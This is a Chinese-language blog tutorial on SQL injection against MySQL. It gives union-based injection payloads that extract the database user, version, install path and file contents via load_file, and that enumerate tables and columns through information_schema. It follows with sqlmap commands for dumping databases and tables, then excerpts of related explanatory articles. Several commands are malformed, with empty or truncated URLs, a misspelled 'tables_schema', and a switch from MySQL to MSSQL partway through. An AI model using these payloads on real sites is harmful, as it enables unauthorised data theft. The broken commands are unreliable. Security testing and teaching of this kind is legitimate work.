針對mysql的sql注入漏洞測試 MySql版

2021-10-09 02:08:36 字數 2200 閱讀 6680

我們先來判斷下這個表中有幾個字段使用 order by(如下圖),如果說頁面不正常了,肯定就超過這個數了,比如我們使用6來。6報錯那就表述這個字段只有5個了。

id=1 order by 6#
id=1-1 union select 1,2,3,4,5#--下面獲取每個字段
我們換成user(),@@version資料庫版本,database()當前使用的資料庫,@@basedirmysql的安裝路徑,隨後會返回一些敏感資訊

id=1-1 union select user(),@@version,database(),@@basedir,5#
或者說把5替換成個load_file('c:\\\windows\\\min.ini')# 也是可以的

那這個表屬於的這個表同級別的,那資料庫裡都是有什麼表呢

下面我們來看下,我們需要用到到他的表名使用table_name這個字段,指定information_schema這個系統表,(上一步不是查到此表的名稱***x這個了嗎)使用當前的***x資料庫去找錶,limit 0,1第乙個表,0,2第二個表......以此遞增

id=1-1 union select 1,table_name,3,4,5 from information_schema.tables where tables_schema="***x" limit 0,3#
接下來也是可以使用這個來查詢表中的字段了,什麼意思呢這句,查他這個column_name欄位從系統表中的city表中,資料庫仍然是***x,limit同上

id=1-1 union select 1,column_name,3,4,5 from information_schema.columns  where table_name="city" and  table_schema="***x" limit 0,3#
也可以使用這個直接直接from city這個表取得字段,然後把12345換成每個查詢出來的字段,那麼這個表的資料就返回出來了

id=1-1 union select 1,2,3,4,5 from city#--下面獲取每個字段
以上是手工注入的一種方式哈

結束!下面稍微介紹下工具輔助注入

照常開啟咱們的sqlmap輸入

指定id  指定咱們的mysql資料庫

sqlmap.py -u "" -p id --dbms mysql
接下來獲取資料庫 加個--dbs

sqlmap.py -u "" -p id --dbms mysql --dbs
sqlmap.py -u 「http: id--dbms mssql  --current -db(看當前屬於哪個資料庫的)

sqlmap.py -u 「http: id--dbms mssql -d msdb --tables
(想要獲取這個資料庫的表怎麼辦呢,那就-d加上資料庫名稱,然後--tables)

也是有admin這個資料庫表的,然後就想要獲取admin這個表中的資料怎麼辦呢

sqlmap.py -u 「http: id--dbms mssql -d msdb -t admin --columns(獲取當前欄位的)

到此就先寫到這裡,是不是整個下來挺簡單的,感謝支援!

還有一篇是針對sqlserver的一篇文章,大同小異:

SQL注入漏洞

sql注入漏洞曾經是web應用程式的噩夢,cms bbs blog無一不曾受其害。sql注入的原理 以往在web應用程式訪問資料庫時一般是採取拼接字串的形式,比如登入的時候就是根據使用者名稱和密碼去查詢 string sql select top 1 from user where username...

SQL注入漏洞

sql注入,就是通過把sql命令插入到web表單遞交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令,比如先前的很多影視 洩露vip會員密碼大多就是通過web表單遞交查詢字元暴出的,這類表單特別容易受到sql注入式攻擊 sql注入的發生 當應用程式使用輸入內容來構造動態sq...

sql注入漏洞

什麼是sql注入 通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。通俗地講,它是利用現有應用程式,將 惡意 的sql命令注入到後台資料庫引擎執行的能力,它可以通過在web表單中輸入 惡意 sql語句得到乙個存在安全漏洞的 上的資料庫,而...